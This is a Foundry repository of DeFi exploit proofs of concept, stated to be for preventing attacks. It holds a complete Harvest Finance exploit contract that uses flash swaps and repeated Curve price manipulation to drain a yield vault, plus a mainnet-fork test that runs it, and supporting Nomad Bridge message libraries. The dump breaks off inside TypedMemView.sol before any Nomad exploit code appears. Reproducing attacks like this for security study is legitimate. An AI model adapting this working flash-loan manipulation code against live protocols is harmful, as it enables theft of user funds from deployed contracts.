├── .github └── workflows │ └── test.yml ├── .gitignore ├── .gitmodules ├── README.md ├── foundry.toml ├── remappings.txt └── src ├── 20201026_HarvestFinance ├── HarvestFinanceExploit.sol ├── HarvestFinanceExploitTest.t.sol └── IVault.sol ├── 20220801_NomadBridge ├── NomadBridge │ ├── BridgeMessage.sol │ ├── Interfaces.sol │ ├── Message.sol │ ├── TypeCasts.sol │ └── TypedMemView.sol ├── NomadBridgeExploit.sol └── NomadBridgeExploitTest.t.sol ├── interfaces ├── ICurveYPool.sol └── ITetherToken.sol └── utils ├── Cheatcodes.sol ├── UniswapV2FlashSwapLibrary.sol └── UniswapV2Library.sol /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | FOUNDRY_PROFILE: ci 7 | 8 | jobs: 9 | check: 10 | strategy: 11 | fail-fast: true 12 | 13 | name: Foundry project 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | with: 18 | submodules: recursive 19 | 20 | - name: Install Foundry 21 | uses: foundry-rs/foundry-toolchain@v1 22 | with: 23 | version: nightly 24 | 25 | - name: Run Forge build 26 | run: | 27 | forge --version 28 | forge build --sizes 29 | id: build 30 | 31 | - name: Run Forge tests 32 | run: | 33 | forge test -vvv 34 | id: test 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/* 8 | /broadcast/*/31337/ 9 | 10 | export_api_key.sh 11 | 12 | .vscode 13 | 14 | src/_* 15 | 16 | .DS_Store -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "lib/v2-periphery"] 5 | path = lib/v2-periphery 6 | url = https://github.com/Uniswap/v2-periphery 7 | [submodule "lib/v2-core"] 8 | path = lib/v2-core 9 | url = https://github.com/Uniswap/v2-core 10 | [submodule "lib/openzeppelin-contracts"] 11 | path = lib/openzeppelin-contracts 12 | url = https://github.com/OpenZeppelin/openzeppelin-contracts 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DeFi Exploits 2 | 3 | ***The purpose of this repository is to develop secure contracts and prevent attacks.*** 4 | 5 | **List of PoCs** 6 | - [2022-08-01 Nomad Bridge](#2022-08-01-nomad-bridge) 7 | - [2020-10-26 Harvest Finance](#2020-10-26-harvest-finance) 8 | 9 | ## 2022-08-01 Nomad Bridge 10 | ```sh 11 | forge test -vvv --match-contract NomadBridgeExploitTest 12 | ``` 13 | 14 | ## 2020-10-26 Harvest Finance 15 | ```sh 16 | forge test -vvv --match-contract HarvestFinanceExploitTest 17 | ``` 18 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'src' 3 | out = 'out' 4 | libs = ['lib'] 5 | no_match_path = "*/_*" 6 | 7 | [rpc_endpoints] 8 | mainnet = "${RPC_MAINNET}" 9 | 10 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | ds-test/=lib/forge-std/lib/ds-test/src/ 2 | forge-std/=lib/forge-std/src/ 3 | openzeppelin-contracts/=lib/openzeppelin-contracts/ 4 | v2-core/=lib/v2-core/contracts/ 5 | v2-periphery/=lib/v2-periphery/contracts/ 6 | -------------------------------------------------------------------------------- /src/20201026_HarvestFinance/HarvestFinanceExploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 5 | import "v2-core/interfaces/IUniswapV2Pair.sol"; 6 | import "v2-core/interfaces/IUniswapV2Callee.sol"; 7 | import "v2-core/interfaces/IUniswapV2Factory.sol"; 8 | import "v2-periphery/interfaces/IUniswapV2Router02.sol"; 9 | import "src/interfaces/ICurveYPool.sol"; 10 | import "src/interfaces/ITetherToken.sol"; 11 | import "src/utils/UniswapV2FlashSwapLibrary.sol"; 12 | import "src/utils/UniswapV2Library.sol"; 13 | import "./IVault.sol"; 14 | 15 | contract HarvestFinanceExploit is IUniswapV2Callee { 16 | ICurveYPool constant curveYPool = ICurveYPool(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); 17 | 18 | ERC20 constant dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 19 | ERC20 constant usdc = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 20 | ITetherToken constant usdt = ITetherToken(0xdAC17F958D2ee523a2206206994597C13D831ec7); 21 | ERC20 constant tusd = ERC20(0x0000000000085d4780B73119b644AE5ecd22b376); 22 | ERC20 constant weth = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 23 | 24 | IUniswapV2Factory constant factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); 25 | IUniswapV2Router02 constant router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 26 | 27 | IUniswapV2Pair constant usdcWethPair = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); 28 | IUniswapV2Pair constant wethUsdtPair = IUniswapV2Pair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); 29 | 30 | IVault constant vault = IVault(0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE); 31 | 32 | uint256 constant usdcFlashLoanAmount = 50000000000000; // deposit 33 | uint256 constant usdtFlashLoanAmount = 17000000000000; // exchange 34 | 35 | function uniswapV2Call(address _sender, uint256 amount0, uint256 amount1, bytes calldata _data) external { 36 | _sender; 37 | _data; 38 | if (msg.sender == address(wethUsdtPair)) { 39 | usdcWethPair.swap(usdcFlashLoanAmount, 0, address(this), "0"); 40 | 41 | address[] memory path = new address[](2); 42 | path[0] = address(usdc); 43 | path[1] = address(weth); 44 | router.swapExactTokensForTokens( 45 | usdc.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1 days 46 | ); 47 | 48 | uint256 usdtAmountIn = usdt.balanceOf(address(this)); 49 | (uint256 reserveA, uint256 reserveB) = 50 | UniswapV2Library.getReserves(address(factory), address(weth), address(usdt)); 51 | uint256 wethAmountIn = 52 | UniswapV2FlashSwapLibrary.getAmountInMulti(0, usdtAmountIn, amount1, reserveA, reserveB); 53 | usdt.transfer(msg.sender, usdtAmountIn); 54 | weth.transfer(msg.sender, wethAmountIn); 55 | } else if (msg.sender == address(usdcWethPair)) { 56 | for (uint256 i = 0; i < 20; i++) { 57 | uint256 usdcBalanceBefore = usdc.balanceOf(address(this)); 58 | curveYPool.exchange_underlying(2, 1, usdt.balanceOf(address(this)), 0); // usdt->usdc 59 | uint256 usdcExchangeAmount = usdc.balanceOf(address(this)) - usdcBalanceBefore; 60 | vault.deposit(usdcFlashLoanAmount); 61 | curveYPool.exchange_underlying(1, 2, usdcExchangeAmount, 0); // usdc->usdt 62 | vault.withdraw(vault.balanceOf(address(this))); 63 | } 64 | 65 | uint256 amountIn = UniswapV2FlashSwapLibrary.getAmountInSingle(amount0); 66 | usdc.transfer(msg.sender, amountIn); 67 | } 68 | } 69 | 70 | function exploit() external { 71 | usdc.approve(address(curveYPool), type(uint256).max); 72 | usdt.approve(address(curveYPool), type(uint256).max); 73 | usdc.approve(address(vault), type(uint256).max); 74 | usdc.approve(address(router), type(uint256).max); 75 | 76 | wethUsdtPair.swap(0, usdtFlashLoanAmount, address(this), "0"); 77 | 78 | require(usdc.balanceOf(address(this)) == 0); 79 | require(usdt.balanceOf(address(this)) == 0); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/20201026_HarvestFinance/HarvestFinanceExploitTest.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 6 | import "src/utils/cheatcodes.sol"; 7 | import "./HarvestFinanceExploit.sol"; 8 | 9 | // https://tools.blocksec.com/tx/eth/0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877 10 | 11 | contract HarvestFinanceExploitTest is Test { 12 | uint256 usdcInitialAmount = 0; 13 | uint256 usdtInitialAmount = 0; 14 | 15 | ERC20 constant dai = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); 16 | ERC20 constant usdc = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 17 | ITetherToken constant usdt = ITetherToken(0xdAC17F958D2ee523a2206206994597C13D831ec7); 18 | ERC20 constant tusd = ERC20(0x0000000000085d4780B73119b644AE5ecd22b376); 19 | ERC20 constant weth = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 20 | 21 | HarvestFinanceExploit exploit; 22 | 23 | function setUp() public { 24 | vm.createSelectFork("mainnet", 11129473); 25 | 26 | exploit = new HarvestFinanceExploit(); 27 | 28 | vm.deal(address(exploit), 20 ether); 29 | deal(address(usdc), address(exploit), usdcInitialAmount); 30 | deal(address(usdt), address(exploit), usdtInitialAmount); 31 | } 32 | 33 | function testExploit() public { 34 | exploit.exploit(); 35 | emit log_named_uint("WETH balance", weth.balanceOf(address(exploit)) / (10 ** weth.decimals())); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/20201026_HarvestFinance/IVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; 5 | 6 | // lib/harvest/contracts/hardworkInterface/IVault.sol 7 | 8 | interface IVault is IERC20 { 9 | function underlyingBalanceInVault() external view returns (uint256); 10 | 11 | function underlyingBalanceWithInvestment() external view returns (uint256); 12 | 13 | // function store() external view returns (address); 14 | function governance() external view returns (address); 15 | 16 | function controller() external view returns (address); 17 | 18 | function underlying() external view returns (address); 19 | 20 | function strategy() external view returns (address); 21 | 22 | function setStrategy(address _strategy) external; 23 | 24 | function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external; 25 | 26 | function deposit(uint256 amountWei) external; 27 | 28 | function depositFor(uint256 amountWei, address holder) external; 29 | 30 | function withdrawAll() external; 31 | 32 | function withdraw(uint256 numberOfShares) external; 33 | 34 | function getPricePerFullShare() external view returns (uint256); 35 | 36 | function underlyingBalanceWithInvestmentForHolder(address holder) external view returns (uint256); 37 | 38 | // hard work should be callable only by the controller (by the hard worker) or by governance 39 | function doHardWork() external; 40 | 41 | function rebalance() external; 42 | } 43 | -------------------------------------------------------------------------------- /src/20220801_NomadBridge/NomadBridge/BridgeMessage.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT OR Apache-2.0 2 | pragma solidity ^0.8.13; 3 | 4 | // ============ External Imports ============ 5 | import "./TypedMemView.sol"; 6 | 7 | library BridgeMessage { 8 | // ============ Libraries ============ 9 | 10 | using TypedMemView for bytes; 11 | using TypedMemView for bytes29; 12 | 13 | // ============ Enums ============ 14 | 15 | // WARNING: do NOT re-write the numbers / order 16 | // of message types in an upgrade; 17 | // will cause in-flight messages to be mis-interpreted 18 | enum Types { 19 | Invalid, // 0 20 | TokenId, // 1 21 | Message, // 2 22 | Transfer, // 3 23 | FastTransfer // 4 24 | } 25 | 26 | // ============ Structs ============ 27 | 28 | // Tokens are identified by a TokenId: 29 | // domain - 4 byte chain ID of the chain from which the token originates 30 | // id - 32 byte identifier of the token address on the origin chain, in that chain's address format 31 | struct TokenId { 32 | uint32 domain; 33 | bytes32 id; 34 | } 35 | 36 | // ============ Constants ============ 37 | 38 | uint256 private constant TOKEN_ID_LEN = 36; // 4 bytes domain + 32 bytes id 39 | uint256 private constant IDENTIFIER_LEN = 1; 40 | uint256 private constant TRANSFER_LEN = 97; // 1 byte identifier + 32 bytes recipient + 32 bytes amount + 32 bytes detailsHash 41 | 42 | // ============ Modifiers ============ 43 | 44 | /** 45 | * @notice Asserts a message is of type `_t` 46 | * @param _view The message 47 | * @param _t The expected type 48 | */ 49 | modifier typeAssert(bytes29 _view, Types _t) { 50 | unchecked { 51 | _view.assertType(uint40(_t)); 52 | } 53 | _; 54 | } 55 | 56 | // ============ Internal Functions ============ 57 | 58 | /** 59 | * @notice Checks that Action is valid type 60 | * @param _action The action 61 | * @return TRUE if action is valid 62 | */ 63 | function isValidAction(bytes29 _action) internal pure returns (bool) { 64 | return isTransfer(_action) || isFastTransfer(_action); 65 | } 66 | 67 | /** 68 | * @notice Checks that view is a valid message length 69 | * @param _view The bytes string 70 | * @return TRUE if message is valid 71 | */ 72 | function isValidMessageLength(bytes29 _view) internal pure returns (bool) { 73 | uint256 _len = _view.len(); 74 | return _len == TOKEN_ID_LEN + TRANSFER_LEN; 75 | } 76 | 77 | /** 78 | * @notice Formats an action message 79 | * @param _tokenId The token ID 80 | * @param _action The action 81 | * @return The formatted message 82 | */ 83 | function formatMessage(bytes29 _tokenId, bytes29 _action) 84 | internal 85 | view 86 | typeAssert(_tokenId, Types.TokenId) 87 | returns (bytes memory) 88 | { 89 | require(isValidAction(_action), "!action"); 90 | bytes29[] memory _views = new bytes29[](2); 91 | _views[0] = _tokenId; 92 | _views[1] = _action; 93 | return TypedMemView.join(_views); 94 | } 95 | 96 | /** 97 | * @notice Returns the type of the message 98 | * @param _view The message 99 | * @return The type of the message 100 | */ 101 | function messageType(bytes29 _view) internal pure returns (Types) { 102 | return Types(uint8(_view.typeOf())); 103 | } 104 | 105 | /** 106 | * @notice Checks that the message is of the specified type 107 | * @param _type the type to check for 108 | * @param _action The message 109 | * @return True if the message is of the specified type 110 | */ 111 | function isType(bytes29 _action, Types _type) internal pure returns (bool) { 112 | return actionType(_action) == uint8(_type) && messageType(_action) == _type; 113 | } 114 | 115 | /** 116 | * @notice Checks that the message is of type Transfer 117 | * @param _action The message 118 | * @return True if the message is of type Transfer 119 | */ 120 | function isTransfer(bytes29 _action) internal pure returns (bool) { 121 | return isType(_action, Types.Transfer); 122 | } 123 | 124 | /** 125 | * @notice Checks that the message is of type FastTransfer 126 | * @param _action The message 127 | * @return True if the message is of type FastTransfer 128 | */ 129 | function isFastTransfer(bytes29 _action) internal pure returns (bool) { 130 | return isType(_action, Types.FastTransfer); 131 | } 132 | 133 | /** 134 | * @notice Formats Transfer 135 | * @param _to The recipient address as bytes32 136 | * @param _amnt The transfer amount 137 | * @param _detailsHash The hash of the token name, symbol, and decimals 138 | * @return 139 | */ 140 | function formatTransfer(bytes32 _to, uint256 _amnt, bytes32 _detailsHash) internal pure returns (bytes29) { 141 | return abi.encodePacked(Types.Transfer, _to, _amnt, _detailsHash).ref(0).castTo(uint40(Types.Transfer)); 142 | } 143 | 144 | /** 145 | * @notice Serializes a Token ID struct 146 | * @param _tokenId The token id struct 147 | * @return The formatted Token ID 148 | */ 149 | function formatTokenId(TokenId memory _tokenId) internal pure returns (bytes29) { 150 | return formatTokenId(_tokenId.domain, _tokenId.id); 151 | } 152 | 153 | /** 154 | * @notice Creates a serialized Token ID from components 155 | * @param _domain The domain 156 | * @param _id The ID 157 | * @return The formatted Token ID 158 | */ 159 | function formatTokenId(uint32 _domain, bytes32 _id) internal pure returns (bytes29) { 160 | return abi.encodePacked(_domain, _id).ref(0).castTo(uint40(Types.TokenId)); 161 | } 162 | 163 | /** 164 | * @notice Formats the keccak256 hash of the token details 165 | * Token Details Format: 166 | * length of name cast to bytes - 32 bytes 167 | * name - x bytes (variable) 168 | * length of symbol cast to bytes - 32 bytes 169 | * symbol - x bytes (variable) 170 | * decimals - 1 byte 171 | * @param _name The name 172 | * @param _symbol The symbol 173 | * @param _decimals The decimals 174 | * @return The Details message 175 | */ 176 | function getDetailsHash(string memory _name, string memory _symbol, uint8 _decimals) 177 | internal 178 | pure 179 | returns (bytes32) 180 | { 181 | return keccak256(abi.encodePacked(bytes(_name).length, _name, bytes(_symbol).length, _symbol, _decimals)); 182 | } 183 | 184 | /** 185 | * @notice get the preFillId used to identify 186 | * fast liquidity provision for incoming token send messages 187 | * @dev used to identify a token/transfer pair in the prefill LP mapping. 188 | * @param _origin The domain of the chain from which the transfer originated 189 | * @param _nonce The unique identifier for the message from origin to destination 190 | * @param _tokenId The token ID 191 | * @param _action The action 192 | */ 193 | function getPreFillId(uint32 _origin, uint32 _nonce, bytes29 _tokenId, bytes29 _action) 194 | internal 195 | view 196 | returns (bytes32) 197 | { 198 | bytes29[] memory _views = new bytes29[](3); 199 | _views[0] = abi.encodePacked(_origin, _nonce).ref(0); 200 | _views[1] = _tokenId; 201 | _views[2] = _action; 202 | return TypedMemView.joinKeccak(_views); 203 | } 204 | 205 | /** 206 | * @notice Retrieves the domain from a TokenID 207 | * @param _tokenId The message 208 | * @return The domain 209 | */ 210 | function domain(bytes29 _tokenId) internal pure typeAssert(_tokenId, Types.TokenId) returns (uint32) { 211 | return uint32(_tokenId.indexUint(0, 4)); 212 | } 213 | 214 | /** 215 | * @notice Retrieves the ID from a TokenID 216 | * @param _tokenId The message 217 | * @return The ID 218 | */ 219 | function id(bytes29 _tokenId) internal pure typeAssert(_tokenId, Types.TokenId) returns (bytes32) { 220 | // before = 4 bytes domain 221 | return _tokenId.index(4, 32); 222 | } 223 | 224 | /** 225 | * @notice Retrieves the EVM ID 226 | * @param _tokenId The message 227 | * @return The EVM ID 228 | */ 229 | function evmId(bytes29 _tokenId) internal pure typeAssert(_tokenId, Types.TokenId) returns (address) { 230 | // before = 4 bytes domain + 12 bytes empty to trim for address 231 | return _tokenId.indexAddress(16); 232 | } 233 | 234 | /** 235 | * @notice Retrieves the action identifier from message 236 | * @param _message The action 237 | * @return The message type 238 | */ 239 | function msgType(bytes29 _message) internal pure returns (uint8) { 240 | return uint8(_message.indexUint(TOKEN_ID_LEN, 1)); 241 | } 242 | 243 | /** 244 | * @notice Retrieves the identifier from action 245 | * @param _action The action 246 | * @return The action type 247 | */ 248 | function actionType(bytes29 _action) internal pure returns (uint8) { 249 | return uint8(_action.indexUint(0, 1)); 250 | } 251 | 252 | /** 253 | * @notice Retrieves the recipient from a Transfer 254 | * @param _transferAction The message 255 | * @return The recipient address as bytes32 256 | */ 257 | function recipient(bytes29 _transferAction) internal pure returns (bytes32) { 258 | // before = 1 byte identifier 259 | return _transferAction.index(1, 32); 260 | } 261 | 262 | /** 263 | * @notice Retrieves the EVM Recipient from a Transfer 264 | * @param _transferAction The message 265 | * @return The EVM Recipient 266 | */ 267 | function evmRecipient(bytes29 _transferAction) internal pure returns (address) { 268 | // before = 1 byte identifier + 12 bytes empty to trim for address = 13 bytes 269 | return _transferAction.indexAddress(13); 270 | } 271 | 272 | /** 273 | * @notice Retrieves the amount from a Transfer 274 | * @param _transferAction The message 275 | * @return The amount 276 | */ 277 | function amnt(bytes29 _transferAction) internal pure returns (uint256) { 278 | // before = 1 byte identifier + 32 bytes ID = 33 bytes 279 | return _transferAction.indexUint(33, 32); 280 | } 281 | 282 | /** 283 | * @notice Retrieves the detailsHash from a Transfer 284 | * @param _transferAction The message 285 | * @return The detailsHash 286 | */ 287 | function detailsHash(bytes29 _transferAction) internal pure returns (bytes32) { 288 | // before = 1 byte identifier + 32 bytes ID + 32 bytes amount = 65 bytes 289 | return _transferAction.index(65, 32); 290 | } 291 | 292 | /** 293 | * @notice Retrieves the token ID from a Message 294 | * @param _message The message 295 | * @return The ID 296 | */ 297 | function tokenId(bytes29 _message) internal pure typeAssert(_message, Types.Message) returns (bytes29) { 298 | unchecked { 299 | return _message.slice(0, TOKEN_ID_LEN, uint40(Types.TokenId)); 300 | } 301 | } 302 | 303 | /** 304 | * @notice Retrieves the action data from a Message 305 | * @param _message The message 306 | * @return The action 307 | */ 308 | function action(bytes29 _message) internal pure typeAssert(_message, Types.Message) returns (bytes29) { 309 | uint256 _actionLen = _message.len() - TOKEN_ID_LEN; 310 | uint40 _type = uint40(msgType(_message)); 311 | return _message.slice(TOKEN_ID_LEN, _actionLen, _type); 312 | } 313 | 314 | /** 315 | * @notice Converts to a Message 316 | * @param _message The message 317 | * @return The newly typed message 318 | */ 319 | function tryAsMessage(bytes29 _message) internal pure returns (bytes29) { 320 | if (isValidMessageLength(_message)) { 321 | return _message.castTo(uint40(Types.Message)); 322 | } 323 | return TypedMemView.nullView(); 324 | } 325 | 326 | /** 327 | * @notice Asserts that the message is of type Message 328 | * @param _view The message 329 | * @return The message 330 | */ 331 | function mustBeMessage(bytes29 _view) internal pure returns (bytes29) { 332 | return tryAsMessage(_view).assertValid(); 333 | } 334 | } 335 | -------------------------------------------------------------------------------- /src/20220801_NomadBridge/NomadBridge/Interfaces.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IReplica { 5 | function localDomain() external returns (uint256); 6 | function process(bytes memory _message) external returns (bool _success); 7 | } 8 | 9 | interface IBridgeRouter { 10 | function tokenRegistry() external returns (ITokenRegistry); 11 | } 12 | 13 | interface ITokenRegistry { 14 | function getTokenId(address _token) external view returns (uint32, bytes32); 15 | } 16 | -------------------------------------------------------------------------------- /src/20220801_NomadBridge/NomadBridge/Message.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT OR Apache-2.0 2 | pragma solidity ^0.8.13; 3 | 4 | import "./TypedMemView.sol"; 5 | import {TypeCasts} from "./TypeCasts.sol"; 6 | 7 | /** 8 | * @title Message Library 9 | * @author Illusory Systems Inc. 10 | * @notice Library for formatted messages used by Home and Replica. 11 | * 12 | */ 13 | library Message { 14 | using TypedMemView for bytes; 15 | using TypedMemView for bytes29; 16 | 17 | // Number of bytes in formatted message before `body` field 18 | uint256 internal constant PREFIX_LENGTH = 76; 19 | 20 | /** 21 | * @notice Returns formatted (packed) message with provided fields 22 | * @param _originDomain Domain of home chain 23 | * @param _sender Address of sender as bytes32 24 | * @param _nonce Destination-specific nonce 25 | * @param _destinationDomain Domain of destination chain 26 | * @param _recipient Address of recipient on destination chain as bytes32 27 | * @param _messageBody Raw bytes of message body 28 | * @return Formatted message 29 | * 30 | */ 31 | function formatMessage( 32 | uint32 _originDomain, 33 | bytes32 _sender, 34 | uint32 _nonce, 35 | uint32 _destinationDomain, 36 | bytes32 _recipient, 37 | bytes memory _messageBody 38 | ) internal pure returns (bytes memory) { 39 | return abi.encodePacked(_originDomain, _sender, _nonce, _destinationDomain, _recipient, _messageBody); 40 | } 41 | 42 | /** 43 | * @notice Returns leaf of formatted message with provided fields. 44 | * @param _origin Domain of home chain 45 | * @param _sender Address of sender as bytes32 46 | * @param _nonce Destination-specific nonce number 47 | * @param _destination Domain of destination chain 48 | * @param _recipient Address of recipient on destination chain as bytes32 49 | * @param _body Raw bytes of message body 50 | * @return Leaf (hash) of formatted message 51 | * 52 | */ 53 | function messageHash( 54 | uint32 _origin, 55 | bytes32 _sender, 56 | uint32 _nonce, 57 | uint32 _destination, 58 | bytes32 _recipient, 59 | bytes memory _body 60 | ) internal pure returns (bytes32) { 61 | return keccak256(formatMessage(_origin, _sender, _nonce, _destination, _recipient, _body)); 62 | } 63 | 64 | /// @notice Returns message's origin field 65 | function origin(bytes29 _message) internal pure returns (uint32) { 66 | return uint32(_message.indexUint(0, 4)); 67 | } 68 | 69 | /// @notice Returns message's sender field 70 | function sender(bytes29 _message) internal pure returns (bytes32) { 71 | return _message.index(4, 32); 72 | } 73 | 74 | /// @notice Returns message's nonce field 75 | function nonce(bytes29 _message) internal pure returns (uint32) { 76 | return uint32(_message.indexUint(36, 4)); 77 | } 78 | 79 | /// @notice Returns message's destination field 80 | function destination(bytes29 _message) internal pure returns (uint32) { 81 | return uint32(_message.indexUint(40, 4)); 82 | } 83 | 84 | /// @notice Returns message's recipient field as bytes32 85 | function recipient(bytes29 _message) internal pure returns (bytes32) { 86 | return _message.index(44, 32); 87 | } 88 | 89 | /// @notice Returns message's recipient field as an address 90 | function recipientAddress(bytes29 _message) internal pure returns (address) { 91 | return TypeCasts.bytes32ToAddress(recipient(_message)); 92 | } 93 | 94 | /// @notice Returns message's body field as bytes29 (refer to TypedMemView library for details on bytes29 type) 95 | function body(bytes29 _message) internal pure returns (bytes29) { 96 | return _message.slice(PREFIX_LENGTH, _message.len() - PREFIX_LENGTH, 0); 97 | } 98 | 99 | function leaf(bytes29 _message) internal view returns (bytes32) { 100 | return messageHash( 101 | origin(_message), 102 | sender(_message), 103 | nonce(_message), 104 | destination(_message), 105 | recipient(_message), 106 | TypedMemView.clone(body(_message)) 107 | ); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/20220801_NomadBridge/NomadBridge/TypeCasts.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT OR Apache-2.0 2 | pragma solidity ^0.8.13; 3 | 4 | import "./TypedMemView.sol"; 5 | 6 | library TypeCasts { 7 | using TypedMemView for bytes; 8 | using TypedMemView for bytes29; 9 | 10 | function coerceBytes32(string memory _s) internal pure returns (bytes32 _b) { 11 | _b = bytes(_s).ref(0).index(0, uint8(bytes(_s).length)); 12 | } 13 | 14 | // treat it as a null-terminated string of max 32 bytes 15 | function coerceString(bytes32 _buf) internal pure returns (string memory _newStr) { 16 | uint8 _slen = 0; 17 | while (_slen < 32 && _buf[_slen] != 0) { 18 | _slen++; 19 | } 20 | 21 | // solhint-disable-next-line no-inline-assembly 22 | assembly { 23 | _newStr := mload(0x40) 24 | mstore(0x40, add(_newStr, 0x40)) // may end up with extra 25 | mstore(_newStr, _slen) 26 | mstore(add(_newStr, 0x20), _buf) 27 | } 28 | } 29 | 30 | // alignment preserving cast 31 | function addressToBytes32(address _addr) internal pure returns (bytes32) { 32 | return bytes32(uint256(uint160(_addr))); 33 | } 34 | 35 | // alignment preserving cast 36 | function bytes32ToAddress(bytes32 _buf) internal pure returns (address) { 37 | return address(uint160(uint256(_buf))); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/20220801_NomadBridge/NomadBridge/TypedMemView.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT OR Apache-2.0 2 | pragma solidity ^0.8.13; 3 | 4 | // https://github.com/summa-tx/memview-sol/blob/main/contracts/TypedMemView.sol 5 | 6 | library TypedMemView { 7 | // Why does this exist? 8 | // the solidity `bytes memory` type has a few weaknesses. 9 | // 1. You can't index ranges effectively 10 | // 2. You can't slice without copying 11 | // 3. The underlying data may represent any type 12 | // 4. Solidity never deallocates memory, and memory costs grow 13 | // superlinearly 14 | 15 | // By using a memory view instead of a `bytes memory` we get the following 16 | // advantages: 17 | // 1. Slices are done on the stack, by manipulating the pointer 18 | // 2. We can index arbitrary ranges and quickly convert them to stack types 19 | // 3. We can insert type info into the pointer, and typecheck at runtime 20 | 21 | // This makes `TypedMemView` a useful tool for efficient zero-copy 22 | // algorithms. 23 | 24 | // Why bytes29? 25 | // We want to avoid confusion between views, digests, and other common 26 | // types so we chose a large and uncommonly used odd number of bytes 27 | // 28 | // Note that while bytes are left-aligned in a word, integers and addresses 29 | // are right-aligned. This means when working in assembly we have to 30 | // account for the 3 unused bytes on the righthand side 31 | // 32 | // First 5 bytes are a type flag. 33 | // - ff_ffff_fffe is reserved for unknown type. 34 | // - ff_ffff_ffff is reserved for invalid types/errors. 35 | // next 12 are memory address 36 | // next 12 are len 37 | // bottom 3 bytes are empty 38 | 39 | // Assumptions: 40 | // - non-modification of memory. 41 | // - No Solidity updates 42 | // - - wrt free mem point 43 | // - - wrt bytes representation in memory 44 | // - - wrt memory addressing in general 45 | 46 | // Usage: 47 | // - create type constants 48 | // - use `assertType` for runtime type assertions 49 | // - - unfortunately we can't do this at compile time yet :( 50 | // - recommended: implement modifiers that perform type checking 51 | // - - e.g. 52 | // - - `uint40 constant MY_TYPE = 3;` 53 | // - - ` modifer onlyMyType(bytes29 myView) { myView.assertType(MY_TYPE); }` 54 | // - instantiate a typed view from a bytearray using `ref` 55 | // - use `index` to inspect the contents of the view 56 | // - use `slice` to create smaller views into the same memory 57 | // - - `slice` can increase the offset 58 | // - - `slice can decrease the length` 59 | // - - must specify the output type of `slice` 60 | // - - `slice` will return a null view if you try to overrun 61 | // - - make sure to explicitly check for this with `notNull` or `assertType` 62 | // - use `equal` for typed comparisons. 63 | 64 | // The null view 65 | bytes29 public constant NULL = hex"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"; 66 | uint256 constant LOW_12_MASK = 0xffffffffffffffffffffffff; 67 | uint8 constant TWELVE_BYTES = 96; 68 | 69 | /** 70 | * @notice Returns the encoded hex character that represents the lower 4 bits of the argument. 71 | * @param _b The byte 72 | * @return char - The encoded hex character 73 | */ 74 | function nibbleHex(uint8 _b) internal pure returns (uint8 char) { 75 | // This can probably be done more efficiently, but it's only in error 76 | // paths, so we don't really care :) 77 | uint8 _nibble = _b | 0xf0; // set top 4, keep bottom 4 78 | if (_nibble == 0xf0) { 79 | return 0x30; 80 | } // 0 81 | if (_nibble == 0xf1) { 82 | return 0x31; 83 | } // 1 84 | if (_nibble == 0xf2) { 85 | return 0x32; 86 | } // 2 87 | if (_nibble == 0xf3) { 88 | return 0x33; 89 | } // 3 90 | if (_nibble == 0xf4) { 91 | return 0x34; 92 | } // 4 93 | if (_nibble == 0xf5) { 94 | return 0x35; 95 | } // 5 96 | if (_nibble == 0xf6) { 97 | return 0x36; 98 | } // 6 99 | if (_nibble == 0xf7) { 100 | return 0x37; 101 | } // 7 102 | if (_nibble == 0xf8) { 103 | return 0x38; 104 